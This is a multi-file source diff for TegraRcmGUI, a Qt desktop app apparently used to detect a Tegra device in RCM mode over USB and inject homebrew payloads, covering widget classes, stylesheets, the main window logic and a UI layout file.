p.setOpacity(0.12);
p.drawRoundedRect(QRect(_margin, _margin, _width - 2 * _margin, height() - 2 * _margin), 8.0, 8.0);
p.setOpacity(1.0);
p.setBrush(QColor("#BDBDBD"));
p.drawEllipse(QRectF(offset() - (_height / 2), _y - (_height / 2), height(), height()));
}
}
void Switch::toggle(bool state)
{
int toffset = offset();
_switch = _switch ? false : true;
_thumb = _switch ? _brush : QBrush("#d5d5d5");
if (_switch) {
_anim->setStartValue(_height / 2);
_anim->setEndValue(_width - _height);
_anim->setDuration(120);
_anim->start();
} else {
_anim->setStartValue(offset());
_anim->setEndValue(_height / 2);
_anim->setDuration(120);
_anim->start();
}
}
void Switch::mouseReleaseEvent(QMouseEvent *e) {
if (e->button() & Qt::LeftButton) {
toggle(_switch);
}
QAbstractButton::mouseReleaseEvent(e);
}
void Switch::enterEvent(QEvent *e) {
setCursor(Qt::PointingHandCursor);
QAbstractButton::enterEvent(e);
}
QSize Switch::sizeHint() const {
return QSize(2 * (_height + _margin), _height + 2 * _margin);
}
QString GetStyleSheetFromResFile(QString qss_file)
{
QFile File(qss_file);
File.open(QFile::ReadOnly);
QString StyleSheet = QLatin1String(File.readAll());
File.close();
return StyleSheet;
}
MoveWindowWidget::MoveWindowWidget(QWidget *parent) : QWidget(parent)
{
}
void MoveWindowWidget::paintEvent(QPaintEvent *)
{
QStyleOption opt;
opt.init(this);
QPainter painter(this);
style()->drawPrimitive(QStyle::PE_Widget, &opt, &painter, this);
}
void MoveWindowWidget::mousePressEvent(QMouseEvent *event)
{
startPos = event->pos();
QWidget::mousePressEvent(event);
}
void MoveWindowWidget::mouseMoveEvent(QMouseEvent *event)
{
QPoint delta = event->pos() - startPos;
QWidget * w = window();
if(w)
w->move(w->pos() + delta);
QWidget::mouseMoveEvent(event);
}

View file

@ -5,9 +5,97 @@
#include <QFileDialog>
#include <QFile>
#include <QSettings>
#include <QLocale>
#include <QtWidgets>
enum fdMode { open_file, save_as };
QString FileDialog(QWidget *parent, fdMode mode, const QString& defaultName = "");
QString GetReadableSize(qint64 bytes);
QString GetStyleSheetFromResFile(QString qss_file);
class Switch : public QAbstractButton {
Q_OBJECT
Q_PROPERTY(int offset READ offset WRITE setOffset)
Q_PROPERTY(QBrush brush READ brush WRITE setBrush)
public:
Switch(bool initial_state, int width, QBrush brush = QBrush("#009688"), QWidget* parent = nullptr);
Switch(const QBrush& brush, QWidget* parent = nullptr);
QSize sizeHint() const override;
QBrush brush() const {
return _brush;
}
void setBrush(const QBrush &brsh) {
_brush = brsh;
}
int offset() const {
return _x;
}
void setOffset(int o) {
_x = o;
update();
}
bool isActive() { return _switch; }
void setState(bool value) { _switch = value; }
void toggle(bool state);
protected:
void paintEvent(QPaintEvent*) override;
void mouseReleaseEvent(QMouseEvent*) override;
void enterEvent(QEvent*) override;
private:
bool _switch;
qreal _opacity;
int _x, _y, _height, _margin, _width;
QBrush _thumb, _track, _brush;
QPropertyAnimation *_anim = nullptr;
};
class AnimatedLabel : public QLabel
{
Q_OBJECT
Q_PROPERTY(QColor color READ color WRITE setColor)
public:
AnimatedLabel(QWidget *parent = 0)
{
}
void setColor (QColor color){
setStyleSheet(QString(
"qproperty-alignment: 'AlignVCenter | AlignRight';"
"background-color: rgba(%1, %2, %3, 200);"
"color: rgb(0, 0, 0);"
"border-top-left-radius: 20px; "
"border-bottom-left-radius: 20px; "
"padding: 10px;").arg(color.red()).arg(color.green()).arg(color.blue()));
}
QColor color(){
return Qt::black; // getter is not really needed for now
}
};
class MoveWindowWidget : public QWidget
{
Q_OBJECT
public:
explicit MoveWindowWidget(QWidget *parent = nullptr);
protected:
void paintEvent(QPaintEvent *);
void mousePressEvent(QMouseEvent *event);
void mouseMoveEvent(QMouseEvent *event);
private:
QPoint startPos;
};
#endif // QUTILS_H

View file

@ -1,11 +0,0 @@
#ifndef RCMDEVICE_H
#define RCMDEVICE_H
class RcmDevice
{
public:
RcmDevice();
};
#endif // RCMDEVICE_H

View file

@ -9,4 +9,4 @@ QLabel
border-radius: 0px;
font: 10pt "Calibri";
color: rgb(255, 255, 255);
}
}

View file

@ -8,8 +8,9 @@ QFrame
QLabel
{
border-radius: 0px;
font: 10pt "Calibri";
color: rgb(255, 255, 255);
font: 10pt "Calibri";
background-color: rgb(41, 41, 41);
color: rgb(255, 255, 255);
}
QLineEdit
{
@ -18,4 +19,9 @@ QLineEdit
font: 9pt "Calibri";
border-radius: 2px;
color: rgb(255, 255, 255);
}
}
QToolTip
{
background-color: rgb(30, 30, 30);
color: rgb(255, 255, 255);
}

View file

@ -0,0 +1,14 @@
QFrame
{
border-radius: 10px;
background-color: rgb(0, 150, 136);
border-color: rgb(0, 0, 0);
}
QLabel
{
font: 75 9pt "Calibri";
color: rgb(255, 255, 255);
border-radius: 10px;
background-color: rgb(0, 150, 136);
border-color: rgb(0, 0, 0);
}

View file

@ -2,4 +2,17 @@ QMainWindow
{
background-color: rgb(30, 30, 30);
border-radius: 10px;
}
color: rgb(255, 255, 255);
}
QStatusBar
{
color: rgb(255, 255, 255);
}
QToolTip
{
background-color: rgb(30, 30, 30);
color: rgb(255, 255, 255);
}
QMessageBox QLabel {
color: rgb(0, 0, 0);
}

View file

@ -0,0 +1,17 @@
QPushButton
{
background-color: rgb(0, 150, 136);
color: rgb(255, 255, 255);
border-radius: 10px;
}
QPushButton:pressed
{
color: rgb(0, 0, 0);
background-color: rgb(255, 255, 255);
}
QPushButton:hover
{
color: rgb(255, 255, 255);
background-color: rgb(150, 35, 0);
}

View file

@ -1,26 +1,37 @@
QTabWidget::pane {
border-radius:10px;
background-color: rgb(255, 255, 255);
}
QTabWidget::tab-bar
QTabWidget::pane
{
left: 10px;
}
QTabBar::tab {
border-radius:10px;
background-color: rgb(60, 60, 60);
color: rgb(255, 255, 255);
}
QTabWidget::tab-bar
{
left: 10px;
}
QTabBar::tab
{
color: rgb(255, 255, 255);
border: 0px;
border-top-left-radius: 6px; /* For rounded corners */
border-top-right-radius: 6px;
min-width: 8ex;
min-width: 10ex;
padding: 6px; /* Padding inside each tab */
margin-left: 4px; /* Margins among the tabs */
margin-right: 4px;
background-color: rgb(213, 213, 213);
font: 75 9pt "Calibri";
color: rgb(0, 0, 0);
font: 75 10pt "MS Shell Dlg 2";
color: rgb(255, 255, 255);
border-bottom: 2px solid grey;
}
QTabBar::tab:selected {
border-bottom: 2px solid white;
}
QLabel
{
color: rgb(255, 255, 255);
}
QToolTip
{
background-color: rgb(30, 30, 30);
color: rgb(255, 255, 255);
}
QMessageBox QLabel {
color: rgb(0, 0, 0);
}
QTabBar::tab:selected {
background-color: rgb(0, 150, 136);
border-color: grey;
color: rgb(255, 255, 255);
}

View file

@ -0,0 +1,7 @@
QTableView
{
border-radius: 10px;
alternate-background-color: rgb(188, 188, 188);
background: rgb(240, 240, 240);
selection-background-color: rgb(150, 0, 83);
}

View file

@ -1,15 +1,361 @@
#include "tegrarcmgui.h"
#include "ui_tegrarcmgui.h"
#include "qutils.h"
#include <QPoint>
QMouseEvent MouseLeftButtonEvent(QEvent::MouseButtonPress, QPoint(0,0), Qt::LeftButton, nullptr, nullptr);
TegraRcmGUI * TegraRcmGUI::m_instance;
static void KUSB_API HotPlugEventCallback(KHOT_HANDLE Handle, KLST_DEVINFO_HANDLE DeviceInfo, KLST_SYNC_FLAG flag)
{
Q_ASSERT(TegraRcmGUI::hasInstance());
if (DeviceInfo == nullptr || (DeviceInfo->Common.Vid != RCM_VID && DeviceInfo->Common.Pid != RCM_PID))
return;
if (flag == KLST_SYNC_FLAG_ADDED)
TegraRcmGUI::instance()->emit sign_hotPlugEvent(true, DeviceInfo);
else if (flag == KLST_SYNC_FLAG_REMOVED)
TegraRcmGUI::instance()->emit sign_hotPlugEvent(false, DeviceInfo);
}
TegraRcmGUI::TegraRcmGUI(QWidget *parent)
: QMainWindow(parent)
, ui(new Ui::TegraRcmGUI)
{
ui->setupUi(this);
// Set a static instance to handle hotplug callback
Q_ASSERT(!hasInstance());
m_instance = this;
// Init acces to builtin resources
Q_INIT_RESOURCE(qresources);
// Tray icon init
trayIcon = new QSystemTrayIcon;
trayIcon->setIcon(switchOffIcon);
trayIcon->setVisible(true);
connect(trayIcon, &QSystemTrayIcon::activated, this, &TegraRcmGUI::trayIconActivated);
trayIconMenu = trayIcon->contextMenu();
// Load settings
userSettings = new QSettings("nx", "TegraRcmGUI");
// Create a qKourou instance to invoke Kourou methods (asynchronously) using signals and slots
m_kourou = new QKourou(this, &m_device, this);
m_kourou->autoLaunchAriane = userSettings->value("autoAriane").toBool();
m_kourou->autoInjectPayload = userSettings->value("autoInject").toBool();
// Load builtin Ariane payload
QFile file(":/ariane_bin");
if (file.open(QIODevice::ReadOnly))
{
m_kourou->ariane_bin = file.readAll();
file.close();
}
// Init device at startup (in a concurrent thread)
QtConcurrent::run(m_kourou, &QKourou::initDevice, true, nullptr);
// Set the USB hotplug event
qRegisterMetaType<KLST_DEVINFO_HANDLE>("KLST_DEVINFO_HANDLE");
QObject::connect(this, SIGNAL(sign_hotPlugEvent(bool, KLST_DEVINFO_HANDLE)), this, SLOT(hotPlugEvent(bool, KLST_DEVINFO_HANDLE)));
KHOT_PARAMS hotParams;
memset(&hotParams, 0, sizeof(hotParams));
hotParams.OnHotPlug = HotPlugEventCallback;
hotParams.Flags = KHOT_FLAG_NONE;
HotK_Init(&m_hotHandle, &hotParams);
// Set timers
QTimer *devInfoTimer = new QTimer(this);
connect(devInfoTimer, SIGNAL(timeout()), this, SLOT(deviceInfoTimer()));
devInfoTimer->start(60000*5); // Every 5 minutes
QTimer *pushTimer = new QTimer(this);
connect(pushTimer, SIGNAL(timeout()), this, SLOT(pushTimer()));
pushTimer->start(1000); // Every minute
/// GUI inits
// Set stylesheets
this->setStyleSheet(GetStyleSheetFromResFile(":/res/QMainWindow.qss"));
ui->statusbar->setStyleSheet(GetStyleSheetFromResFile(":/res/QMainWindow.qss"));
ui->tabWidget->setStyleSheet(GetStyleSheetFromResFile(":/res/QTabWidget.qss"));
ui->titleBarFrame->setStyleSheet(GetStyleSheetFromResFile(":/res/QFrame_titleBar.qss"));
ui->statusBoxFrame->setStyleSheet(GetStyleSheetFromResFile(":/res/QFrame_box01.qss"));
ui->deviceInfoBoxFrame->setStyleSheet(GetStyleSheetFromResFile(":/res/QFrame_box01.qss"));
// Init tabs
ui->tabWidget->tabBar()->setCursor(Qt::PointingHandCursor);
ui->push_layout->setAlignment(Qt::AlignTop);
ui->pushLayoutWidget->setAttribute(Qt::WA_TransparentForMouseEvents);
payloadTab = new QPayloadWidget(this);
ui->tabWidget->addTab(payloadTab, tr("PAYLOAD"));
toolsTab = new qTools(this);
ui->tabWidget->addTab(toolsTab, tr("TOOLS"));
ui->closeAppBtn->setCursor(Qt::PointingHandCursor);
connect(ui->closeAppBtn, SIGNAL(clicked()), this, SLOT(close()));
clearDeviceInfo();
Switch *_switch = new Switch(m_kourou->autoLaunchAriane ? true : false, 52);
ui->verticalLayout->addWidget(_switch);
connect(_switch, SIGNAL(clicked(bool)), this, SLOT(on_autoLaunchAriane_toggled(bool)));
ui->centralwidget->setFixedSize(680, 400);
this->adjustSize();
}
TegraRcmGUI::~TegraRcmGUI()
{
if (m_hotHandle != nullptr)
HotK_Free(m_hotHandle);
delete trayIcon;
delete ui;
}
void TegraRcmGUI::hotPlugEvent(bool added, KLST_DEVINFO_HANDLE deviceInfo)
{
if (added)
QtConcurrent::run(m_kourou, &QKourou::initDevice, true, deviceInfo);
else
{
m_device.disconnect();
on_deviceStateChange();
}
}
void TegraRcmGUI::deviceInfoTimer()
{
if (m_device.arianeIsReady())
QtConcurrent::run(m_kourou, &QKourou::getDeviceInfo);
}
void TegraRcmGUI::on_deviceStateChange()
{
ui->devStatusLbl_2->setText(m_device.getStatus() == CONNECTED ? tr("CONNECTED") : tr("DISCONNECTED"));
ui->devStatusFrame->setStyleSheet(m_device.getStatus() == CONNECTED ? statusOnStyleSht : statusOffStyleSht);
ui->rcmStatusLbl_2->setText(m_device.rcmIsReady() ? tr("READY") : tr("OFF"));
QString arianeStatus;
if (m_kourou->arianeIsLoading)
arianeStatus.append(tr("LOADING"));
else if (m_device.arianeIsReady())
arianeStatus.append(tr("READY"));
else
arianeStatus.append(tr("OFF"));
ui->arianeStatusLbl_2->setText(arianeStatus);
ui->rcmStatusFrame->setStyleSheet(m_device.rcmIsReady() ? statusOnStyleSht : statusOffStyleSht);
ui->arianeStatusFrame->setStyleSheet(m_device.arianeIsReady() ? statusOnStyleSht : statusOffStyleSht);
if (!m_device.arianeIsReady())
clearDeviceInfo();
if (m_device.rcmIsReady() || m_device.arianeIsReady())
trayIcon->setIcon(switchOnIcon);
else
trayIcon->setIcon(switchOffIcon);
payloadTab->on_deviceStateChange();
}
void TegraRcmGUI::on_autoLaunchAriane_toggled(bool value)
{
m_kourou->autoLaunchAriane = !m_kourou->autoLaunchAriane;
userSettings->setValue("autoAriane", m_kourou->autoLaunchAriane);
if (m_device.rcmIsReady() && m_kourou->autoLaunchAriane)
QtConcurrent::run(m_kourou, &QKourou::initDevice, true, nullptr);
}
bool TegraRcmGUI::enableWidget(QWidget *widget, bool enable)
{
widget->setEnabled(enable);
}
void TegraRcmGUI::clearDeviceInfo()
{
ui->deviceInfoFrame->setStyleSheet(statusOffStyleSht);
ui->deviceInfoLbl->setStyleSheet(statusOffStyleSht);
ui->batteryLevel->hide();
ui->batteryLevel->setValue(0);
ui->burntFusesLbl2->setText("");
ui->sdfsLbl2->setText("");
ui->sdfsLbl2->setText("");
ui->fsTotSizeLbl2->setText("");
ui->fsFreeSpaceLbl2->setText("");
if (!m_kourou->autoLaunchAriane)
{
ui->batteryLbl->hide();
ui->burntFusesLbl1->hide();
ui->sdfsLbl1->hide();
ui->fsTotSizeLbl1->hide();
ui->fsFreeSpaceLbl1->hide();
ui->devInfoDisableLbl->show();
}
else ui->devInfoDisableLbl->hide();
}
void TegraRcmGUI::on_deviceInfo_received(UC_DeviceInfo di)
{
ui->batteryLbl->show();
ui->burntFusesLbl1->show();
ui->sdfsLbl1->show();
ui->fsTotSizeLbl1->show();
ui->fsFreeSpaceLbl1->show();
ui->devInfoDisableLbl->hide();
ui->deviceInfoLbl->setStyleSheet(GetStyleSheetFromResFile(":/res/QLabel_title01.qss"));
ui->batteryLevel->show();
ui->batteryLevel->setValue(int(di.battery_capacity));
ui->burntFusesLbl2->setText(QString().asprintf("%u", di.burnt_fuses));
ui->sdfsLbl2->setText(QString().asprintf("%s", di.sdmmc_initialized ? "Yes" : "No"));
if (di.sdmmc_initialized)
{
QString fs;
if (di.emmc_fs_type == FS_FAT32) fs.append("FAT32");
else if (di.emmc_fs_type == FS_EXFAT) fs.append("exFAT");
else fs.append("UNKNOWN");
ui->sdfsLbl2->setText(fs);
qint64 fs_size = 0x200 * (qint64)di.emmc_fs_cl_size * ((qint64)di.emmc_fs_last_cl + 1);
qint64 fs_free_space = 0x200 * (qint64)di.emmc_fs_cl_size * (qint64)di.emmc_fs_free_cl;
ui->fsTotSizeLbl2->setText(GetReadableSize(fs_size));
ui->fsFreeSpaceLbl2->setText(GetReadableSize(fs_free_space));
}
else
{
ui->sdfsLbl2->setText("N/A");
ui->fsTotSizeLbl2->setText("N/A");
ui->fsFreeSpaceLbl2->setText("N/A");
}
}
void TegraRcmGUI::error(int error)
{
QMessageBox::critical(this, "Error", QString().asprintf("Error %d", error));
}
void TegraRcmGUI::pushMessage(QString message)
{
AnimatedLabel *push = new AnimatedLabel;
QPropertyAnimation *animation = new QPropertyAnimation(push, "color");
animation->setDuration(800);
animation->setStartValue(QColor(0, 150, 136));
animation->setEndValue(QColor(202, 202, 202));
push->setText(message);
push->setMinimumHeight(40);
push->setMaximumHeight(80);
ui->push_layout->addWidget(push);
animation->start();
push_ts.push_back(QDateTime::currentSecsSinceEpoch());
}
void TegraRcmGUI::pushTimer()
{
qint64 now = QDateTime::currentSecsSinceEpoch();
if (tsToDeleteCount && push_ts.count() == 0)
{
for (int i(0); i < tsToDeleteCount; i++)
ui->pushLayoutWidget->findChildren<QLabel*>().at(i)->deleteLater();
tsToDeleteCount = 0;
}
if (!push_ts.size())
return;
int i(0);
int j(0);
for (qint64 ts : push_ts)
{
if (now > ts + 5)
{
auto item = ui->pushLayoutWidget->findChildren<QLabel*>().at(j + tsToDeleteCount);
QPropertyAnimation *animation = new QPropertyAnimation(item, "geometry");
//QPropertyAnimation *animation = new QPropertyAnimation(item, "offset");
animation->setDuration(500);
int r = item->pos().y() + item->height() - 10;
if (lastTsToDelete)
r -= lastTsToDelete * item->pos().y();
animation->setStartValue(QRect(item->pos().x(), item->pos().y(), ui->pushLayoutWidget->width(), r));
animation->setEndValue(QRect(ui->pushLayoutWidget->width(), item->pos().y(), ui->pushLayoutWidget->width(), r));
animation->start();
lastTsToDelete = ts;
i++;
break;
}
j++;
}
push_ts.erase(push_ts.begin(), push_ts.begin() + i);
tsToDeleteCount += i;
}
void TegraRcmGUI::on_Kourou_finished(int res)
{
if (res == AUTO_INJECT || res == PAYLOAD_INJECT)
pushMessage(tr("Payload successfully injected"));
}
void TegraRcmGUI::trayIconActivated(QSystemTrayIcon::ActivationReason reason)
{
int t;
switch (reason) {
case QSystemTrayIcon::Trigger:
t = 0;
break;
case QSystemTrayIcon::DoubleClick:
t = 0;
break;
case QSystemTrayIcon::MiddleClick:
t = 0;
break;
case QSystemTrayIcon::Context:
drawTrayContextMenu();
break;
default:
;
}
}
void TegraRcmGUI::drawTrayContextMenu()
{
//trayIconMenu->addAction("Exit",this,SLOT(close()));
QString menu_ss = "QMenu::item {"
"padding: 4px 20px 4px 4px;"
"}"
"QMenu::item:selected {"
"background-color: rgb(0, 85, 127);"
"color: rgb(255, 255, 255);"
"}";
QMenu *menu = new QMenu;
menu->setStyleSheet(menu_ss);
menu->setContextMenuPolicy(Qt::CustomContextMenu);
menu->addAction("Exit",this,SLOT(close()));
QMenu *fav_menu = new QMenu;
fav_menu->setStyleSheet(menu_ss);
fav_menu->setContextMenuPolicy(Qt::CustomContextMenu);
fav_menu->setTitle("Favorites");
for (payload_t payload : payloadTab->getPayloads())
{
QMenu *p_menu = new QMenu;
p_menu->setStyleSheet(menu_ss);
p_menu->setContextMenuPolicy(Qt::CustomContextMenu);
p_menu->setTitle(payload.name);
fav_menu->addMenu(p_menu);
}
menu->addMenu(fav_menu);
trayIcon->setContextMenu(menu);
trayIcon->contextMenu()->popup(QCursor::pos());
}

View file

@ -1,7 +1,17 @@
#ifndef TEGRARCMGUI_H
#define TEGRARCMGUI_H
#include <QMainWindow>
#include <QtWidgets>
#include <QSettings>
#include <QtConcurrent/QtConcurrent>
#include "qpayload.h"
#include "qtools.h"
#include "kourou/kourou.h"
#include "kourou/usb_command.h"
#include "qkourou.h"
class QPayloadWidget;
class QKourou;
QT_BEGIN_NAMESPACE
namespace Ui { class TegraRcmGUI; }
@ -9,13 +19,66 @@ QT_END_NAMESPACE
class TegraRcmGUI : public QMainWindow
{
Q_OBJECT
Q_OBJECT
static TegraRcmGUI* m_instance;
public:
TegraRcmGUI(QWidget *parent = nullptr);
~TegraRcmGUI();
static bool hasInstance() { return m_instance; }
static TegraRcmGUI * instance() {
if (!m_instance) m_instance = new TegraRcmGUI;
return m_instance;
}
QSettings *userSettings;
QSettings *userPayloads;
Kourou m_device;
QKourou *m_kourou;
QPayloadWidget *payloadTab;
qTools *toolsTab;
bool enableWidget(QWidget *widget, bool enable);
private slots:
void on_deviceInfo_received(UC_DeviceInfo di);
void on_autoLaunchAriane_toggled(bool value);
void pushTimer();
void on_Kourou_finished(int res);
void trayIconActivated(QSystemTrayIcon::ActivationReason reason);
public slots:
void hotPlugEvent(bool added, KLST_DEVINFO_HANDLE deviceInfo);
void deviceInfoTimer();
void error(int error);
void on_deviceStateChange();
void pushMessage(QString message);
signals:
void sign_hotPlugEvent(bool added, KLST_DEVINFO_HANDLE);
private:
Ui::TegraRcmGUI *ui;
KHOT_HANDLE m_hotHandle = nullptr;
bool m_ready = false;
std::string tmp_string;
QVector<qint64> push_ts;
int tsToDeleteCount = 0;
qint64 lastTsToDelete = 0;
const QIcon switchOnIcon = QIcon(":/res/switch_logo_on.png");
const QIcon switchOffIcon = QIcon(":/res/switch_logo_off.png");
QSystemTrayIcon *trayIcon;
QMenu *trayIconMenu;
void drawTrayContextMenu();
void clearDeviceInfo();
};
const QString statusOnStyleSht( "QFrame{border-radius: 10px; background-color: rgb(0, 150, 136); border-color: rgb(0, 0, 0);}"
"QLabel{font: 75 9pt \"Calibri\"; color: rgb(255, 255, 255);}");
const QString statusOffStyleSht("QFrame{border-radius: 10px; background-color: rgb(213, 213, 213); border-color: rgb(0, 0, 0);}"
"QLabel{font: 75 9pt \"Calibri\"; color: rgb(0, 0, 0);}");
const QString statusOffRedStyleSht("QFrame{border-radius: 10px; background-color: rgb(150, 35, 0); border-color: rgb(0, 0, 0);}"
"QLabel{font: 75 9pt \"Calibri\"; color: rgb(255, 255, 255);}");
#endif // TEGRARCMGUI_H

View file

@ -6,17 +6,649 @@
<rect>
<x>0</x>
<y>0</y>
<width>800</width>
<height>600</height>
<width>677</width>
<height>435</height>
</rect>
</property>
<property name="windowTitle">
<string>TegraRcmGUI</string>
</property>
<widget class="QWidget" name="centralwidget"/>
<widget class="QMenuBar" name="menubar"/>
<widget class="QStatusBar" name="statusbar"/>
<property name="styleSheet">
<string notr="true"/>
</property>
<widget class="QWidget" name="centralwidget">
<property name="styleSheet">
<string notr="true"/>
</property>
<widget class="QTabWidget" name="tabWidget">
<property name="geometry">
<rect>
<x>190</x>
<y>30</y>
<width>481</width>
<height>371</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true"/>
</property>
<property name="currentIndex">
<number>-1</number>
</property>
</widget>
<widget class="QFrame" name="devStatusFrame">
<property name="geometry">
<rect>
<x>20</x>
<y>30</y>
<width>100</width>
<height>20</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true">border-radius: 10px;
background-color: rgb(0, 150, 136);
border-color: rgb(0, 0, 0);
QLabel{font: 75 11pt &quot;Calibri&quot;; color: rgb(255, 255, 255);}
</string>
</property>
<property name="frameShape">
<enum>QFrame::StyledPanel</enum>
</property>
<property name="frameShadow">
<enum>QFrame::Raised</enum>
</property>
<widget class="QLabel" name="devStatusLbl_2">
<property name="geometry">
<rect>
<x>-1</x>
<y>0</y>
<width>101</width>
<height>20</height>
</rect>
</property>
<property name="text">
<string/>
</property>
<property name="alignment">
<set>Qt::AlignCenter</set>
</property>
</widget>
</widget>
<widget class="QFrame" name="rcmStatusFrame">
<property name="geometry">
<rect>
<x>120</x>
<y>55</y>
<width>50</width>
<height>20</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true">border-radius: 10px;
background-color: rgb(0, 150, 136);
border-color: rgb(0, 0, 0);
QLabel{font: 75 11pt &quot;Calibri&quot;; color: rgb(255, 255, 255);}
</string>
</property>
<property name="frameShape">
<enum>QFrame::StyledPanel</enum>
</property>
<property name="frameShadow">
<enum>QFrame::Raised</enum>
</property>
<widget class="QLabel" name="rcmStatusLbl_2">
<property name="geometry">
<rect>
<x>0</x>
<y>0</y>
<width>50</width>
<height>20</height>
</rect>
</property>
<property name="text">
<string/>
</property>
<property name="alignment">
<set>Qt::AlignCenter</set>
</property>
</widget>
</widget>
<widget class="QFrame" name="arianeStatusFrame">
<property name="geometry">
<rect>
<x>120</x>
<y>105</y>
<width>50</width>
<height>20</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true">border-radius: 10px;
background-color: rgb(0, 150, 136);
border-color: rgb(0, 0, 0);
QLabel{font: 75 11pt &quot;Calibri&quot;; color: rgb(255, 255, 255);}
</string>
</property>
<property name="frameShape">
<enum>QFrame::StyledPanel</enum>
</property>
<property name="frameShadow">
<enum>QFrame::Raised</enum>
</property>
<widget class="QLabel" name="arianeStatusLbl_2">
<property name="geometry">
<rect>
<x>0</x>
<y>0</y>
<width>50</width>
<height>20</height>
</rect>
</property>
<property name="text">
<string/>
</property>
<property name="alignment">
<set>Qt::AlignCenter</set>
</property>
</widget>
</widget>
<widget class="QWidget" name="verticalLayoutWidget">
<property name="geometry">
<rect>
<x>120</x>
<y>80</y>
<width>51</width>
<height>21</height>
</rect>
</property>
<layout class="QVBoxLayout" name="verticalLayout"/>
</widget>
<widget class="QGroupBox" name="devInfoBox">
<property name="geometry">
<rect>
<x>10</x>
<y>150</y>
<width>171</width>
<height>251</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true">font: 10pt &quot;Calibri&quot;;
border:0px;
QLabel{
background-color: rgb(255, 255, 255);
color: rgb(37, 37, 38);
}</string>
</property>
<property name="title">
<string/>
</property>
<property name="flat">
<bool>true</bool>
</property>
<widget class="QFrame" name="deviceInfoBoxFrame">
<property name="geometry">
<rect>
<x>0</x>
<y>10</y>
<width>171</width>
<height>241</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true"/>
</property>
<property name="frameShape">
<enum>QFrame::StyledPanel</enum>
</property>
<property name="frameShadow">
<enum>QFrame::Raised</enum>
</property>
<widget class="QLabel" name="batteryLbl">
<property name="geometry">
<rect>
<x>10</x>
<y>20</y>
<width>81</width>
<height>20</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true">font: 10pt &quot;Calibri&quot;;
QLabel{
background-color: rgb(255, 255, 255);
color: rgb(37, 37, 38);
}</string>
</property>
<property name="text">
<string>Battery charge:</string>
</property>
<property name="alignment">
<set>Qt::AlignRight|Qt::AlignTrailing|Qt::AlignVCenter</set>
</property>
</widget>
<widget class="QLabel" name="burntFusesLbl1">
<property name="geometry">
<rect>
<x>10</x>
<y>40</y>
<width>81</width>
<height>20</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true">font: 10pt &quot;Calibri&quot;;
</string>
</property>
<property name="text">
<string>Burnt fuses:</string>
</property>
<property name="alignment">
<set>Qt::AlignRight|Qt::AlignTrailing|Qt::AlignVCenter</set>
</property>
</widget>
<widget class="QLabel" name="sdfsLbl1">
<property name="geometry">
<rect>
<x>10</x>
<y>60</y>
<width>81</width>
<height>20</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true">font: 10pt &quot;Calibri&quot;;
</string>
</property>
<property name="text">
<string>SD Filesystem:</string>
</property>
<property name="alignment">
<set>Qt::AlignRight|Qt::AlignTrailing|Qt::AlignVCenter</set>
</property>
</widget>
<widget class="QLabel" name="fsTotSizeLbl1">
<property name="geometry">
<rect>
<x>10</x>
<y>80</y>
<width>81</width>
<height>20</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true">font: 10pt &quot;Calibri&quot;;</string>
</property>
<property name="text">
<string>FS Total size:</string>
</property>
<property name="alignment">
<set>Qt::AlignRight|Qt::AlignTrailing|Qt::AlignVCenter</set>
</property>
</widget>
<widget class="QLabel" name="fsFreeSpaceLbl1">
<property name="geometry">
<rect>
<x>10</x>
<y>100</y>
<width>81</width>
<height>20</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true">font: 10pt &quot;Calibri&quot;;</string>
</property>
<property name="text">
<string>FS Free space:</string>
</property>
<property name="alignment">
<set>Qt::AlignRight|Qt::AlignTrailing|Qt::AlignVCenter</set>
</property>
</widget>
<widget class="QLabel" name="fsFreeSpaceLbl2">
<property name="geometry">
<rect>
<x>100</x>
<y>100</y>
<width>71</width>
<height>20</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true">font: 10pt &quot;Calibri&quot;;</string>
</property>
<property name="text">
<string/>
</property>
</widget>
<widget class="QLabel" name="fsTotSizeLbl2">
<property name="geometry">
<rect>
<x>100</x>
<y>80</y>
<width>71</width>
<height>20</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true">font: 10pt &quot;Calibri&quot;;</string>
</property>
<property name="text">
<string/>
</property>
</widget>
<widget class="QLabel" name="sdfsLbl2">
<property name="geometry">
<rect>
<x>100</x>
<y>60</y>
<width>71</width>
<height>20</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true">font: 10pt &quot;Calibri&quot;;</string>
</property>
<property name="text">
<string/>
</property>
</widget>
<widget class="QLabel" name="burntFusesLbl2">
<property name="geometry">
<rect>
<x>100</x>
<y>40</y>
<width>71</width>
<height>20</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true">font: 10pt &quot;Calibri&quot;;</string>
</property>
<property name="text">
<string/>
</property>
</widget>
<widget class="QProgressBar" name="batteryLevel">
<property name="geometry">
<rect>
<x>100</x>
<y>20</y>
<width>51</width>
<height>20</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true">QProgressBar {
border: 2px solid grey;
border-radius: 5px;
text-align: center;
}
QProgressBar::chunk {
background-color: #009688;
width: 1px;
}</string>
</property>
<property name="value">
<number>24</number>
</property>
<property name="format">
<string>%p%</string>
</property>
</widget>
<widget class="QLabel" name="devInfoDisableLbl">
<property name="geometry">
<rect>
<x>10</x>
<y>10</y>
<width>151</width>
<height>221</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true">font: 10pt &quot;Calibri&quot;;</string>
</property>
<property name="text">
<string>Enable Ariane autoboot
to display device info</string>
</property>
<property name="alignment">
<set>Qt::AlignCenter</set>
</property>
</widget>
</widget>
</widget>
<widget class="QFrame" name="deviceInfoFrame">
<property name="geometry">
<rect>
<x>20</x>
<y>150</y>
<width>100</width>
<height>20</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true">
</string>
</property>
<property name="frameShape">
<enum>QFrame::StyledPanel</enum>
</property>
<property name="frameShadow">
<enum>QFrame::Raised</enum>
</property>
<widget class="QLabel" name="deviceInfoLbl">
<property name="geometry">
<rect>
<x>0</x>
<y>0</y>
<width>100</width>
<height>20</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(255, 255, 255);
